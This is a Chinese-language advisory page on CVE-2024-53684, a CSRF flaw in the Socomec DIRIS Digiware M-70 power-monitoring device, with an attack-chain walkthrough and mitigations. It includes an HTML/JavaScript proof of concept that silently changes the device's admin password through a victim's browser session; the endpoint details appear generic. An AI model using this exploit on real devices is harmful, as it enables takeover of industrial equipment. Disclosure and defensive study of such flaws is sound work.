CVE-2024-53684 Socomec DIRIS Digiware M-70 WEBVIEW-M CSRF跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2024-53684

漏洞类型

CSRF跨站请求伪造

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Socomec DIRIS Digiware M-70 1.6.9

漏洞概述

CVE-2024-53684是思科Talos团队发现的存在于Socomec DIRIS Digiware M-70设备1.6.9版本WEBVIEW-M功能模块中的跨站请求伪造（CSRF）漏洞。该漏洞允许未经身份验证的远程攻击者通过诱骗已登录用户访问恶意网页，在用户不知情的情况下以该用户的权限执行未授权的HTTP请求。由于该设备通常部署于工业环境中的关键基础设施，用于电力监控和管理，攻击成功可能导致攻击者完全控制设备配置，窃取敏感数据，甚至对物理设备进行操控，造成生产中断或安全事故。CVSS评分7.5分（高危），攻击复杂度低，无需特殊权限，但需要用户交互。

技术细节

该CSRF漏洞源于Socomec DIRIS Digiware M-70的WEBVIEW-M功能模块缺少对HTTP请求来源的验证机制。攻击者可以构造一个包含恶意HTML/JavaScript的网页，当已登录的管理员访问该页面时，浏览器会自动向目标设备发送携带有效会话Cookie的请求。由于服务器端未验证请求的Referer或Origin头，攻击者的恶意请求会被当作合法请求处理。攻击者利用此漏洞可以执行设备配置更改、用户权限提升、敏感参数读取等操作。攻击者通常结合钓鱼邮件或社会工程学手段诱导管理员访问恶意页面，由于攻击流量来自用户的浏览器，传统的网络层防护难以检测。

攻击链分析

STEP 1

步骤1

攻击者创建包含恶意HTML/JavaScript代码的钓鱼网页，该页面包含自动向目标DIRIS Digiware M-70设备发送HTTP请求的脚本

STEP 2

步骤2

攻击者通过钓鱼邮件、社交媒体或其他渠道诱导已登录DIRIS Digiware M-70管理界面的管理员访问恶意网页

STEP 3

步骤3

管理员浏览器加载恶意页面后，JavaScript代码自动执行，使用管理员的会话Cookie向目标设备发送未授权的HTTP请求

STEP 4

步骤4

目标设备WEBVIEW-M模块由于缺少CSRF令牌验证，将恶意请求视为合法请求并执行相应操作（如修改配置、添加用户等）

STEP 5

步骤5

攻击者获得设备控制权限后可窃取敏感数据、修改运行参数或进行进一步横向移动攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2024-53684 CSRF PoC for Socomec DIRIS Digiware M-70 -->
<!DOCTYPE html>
<html>
<head>
    <title>DIRIS Digiware M-70 CSRF PoC</title>
</head>
<body>
    <h2>CVE-2024-53684 PoC</h2>
    <p>Target: Socomec DIRIS Digiware M-70</p>
    <script>
        // Target device IP (change as needed)
        const targetIP = "192.168.1.100";
        const targetPort = "80";
        
        // CSRF payload - Example: Change admin password
        const csrfPayload = {
            method: 'POST',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'action=set_config&module=webview_m&param=admin_password&value=attacker_new_password'
        };
        
        // Execute CSRF attack
        fetch(`http://${targetIP}:${targetPort}/cgi-bin/webview_m.cgi`, csrfPayload)
            .then(response => response.text())
            .then(data => {
                console.log('CSRF attack sent');
                document.getElementById('status').innerText = 'Attack Sent';
            })
            .catch(error => {
                console.error('Error:', error);
                document.getElementById('status').innerText = 'Error: ' + error;
            });
    </script>
    <p id="status">Attacking...</p>
</body>
</html>

影响范围

Socomec DIRIS Digiware M-70 1.6.9

防御指南

临时缓解措施

在厂商发布修复补丁前，可采取以下临时缓解措施：1）限制WEBVIEW-M管理界面的访问来源，仅允许受信任的IP地址访问；2）使用防火墙或ACL规则隔离工业控制网络与管理网络；3）对管理员进行安全意识培训，提醒不要点击未知链接；4）监控设备日志关注异常请求模式；5）考虑使用VPN建立安全的管理通道。